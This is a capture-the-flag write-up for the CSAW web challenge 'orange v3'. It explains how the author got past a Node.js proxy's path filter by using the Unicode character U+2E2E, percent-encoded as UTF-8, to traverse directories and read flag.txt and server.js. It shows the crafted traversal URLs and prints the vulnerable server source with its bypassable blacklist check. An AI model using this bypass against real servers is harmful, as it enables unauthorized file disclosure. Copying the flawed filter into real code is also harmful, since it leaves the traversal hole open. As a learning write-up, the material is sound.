Tags: lfi node.js
Rating:
# ▼▼▼orange v3(Web:300)(90/1444 team=6.23%)▼▼▼
**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
```
I wrote a little proxy program in NodeJS for my poems folder but I'm bad at programming so I had to rewrite it. Again.
I changed up flag.txt too but everyone still wants to read it...
http://web.chal.csaw.io:7312/?path=orange.txt
```
### 【function】
GET /?path=orange.txt
↓
`i love oranges`
### 【goal】
find **flag.txt**
### 【Search for vulnerabilities】
GET /?path= ⇒ 403応答「`WHOA THATS BANNED!!!!`」
GET /?path=.txt ⇒ 404応答
GET /?path=../.txt ⇒ 403応答「`WHOA THATS BANNED!!!!`」
GET /?path=%252e%252e/.txt ⇒ 403応答「`WHOA THATS BANNED!!!!`」
↓
**.txt is required.★**
**".." and "Double encode" are detected★**
-----
`path.indexOf("NN") == -1` in server.js at orange **v1** became a hint.
↓
N is not N(U+004E) but **U+FF2E**:[http://www.fileformat.info/info/unicode/char/ff2e/index.htm](http://www.fileformat.info/info/unicode/char/ff2e/index.htm)
↓
It seems that 2E is interpreted as dot(U + 002E).
-----
Look for something similar to U+FF2E
↓
**U+2E2E**:[http://www.fileformat.info/info/unicode/char/2e2e/index.htm](http://www.fileformat.info/info/unicode/char/2e2e/index.htm)
↓
2E2E was interpreted as **2E**
-----
**U+2E2E**
↓
UTF-8 (hex) **0xE2 0xB8 0xAE (e2b8ae)**
↓
http://web.chal.csaw.io:7312/?path=**%E2%B8%AE%E2%B8%AE**/flag.txt
↓
**flag{s0rry_this_t00k_s0_m@ny_tries...}**
### first solve!!
-----
### -----Reference: Other source code-----
GET /?path=%E2%B8%AE%E2%B8%AE/server**%E2%B8%AE**js**%23**.txt
↓
```
var http = require('http');
var fs = require('fs');
var url = require('url');
var server = http.createServer(function(req, res) {
try {
var path = url.parse(req.url, true).query;
path = path['path'];
var no_ext = path.substring(0, path.length - 4);
var ext = path.substring(path.length - 4, path.length);
console.log(path);
console.log(no_ext);
console.log(ext);
if (no_ext.indexOf(".") == -1 && path.indexOf("N") == -1 && path.indexOf("%") == -1 && ext == '.txt') {
var base = "http://localhost:8080/poems/";
var callback = function(response){
var str = '';
response.on('data', function (chunk) {
str += chunk;
});
response.on('end', function () {
res.end(str);
});
}
http.get(base + path, callback).end();
} else {
res.writeHead(403);
res.end("WHOA THATS BANNED!!!!");
}
}
catch (e) {
res.writeHead(404);
res.end('Oops');
}
});
server.listen(9999);
```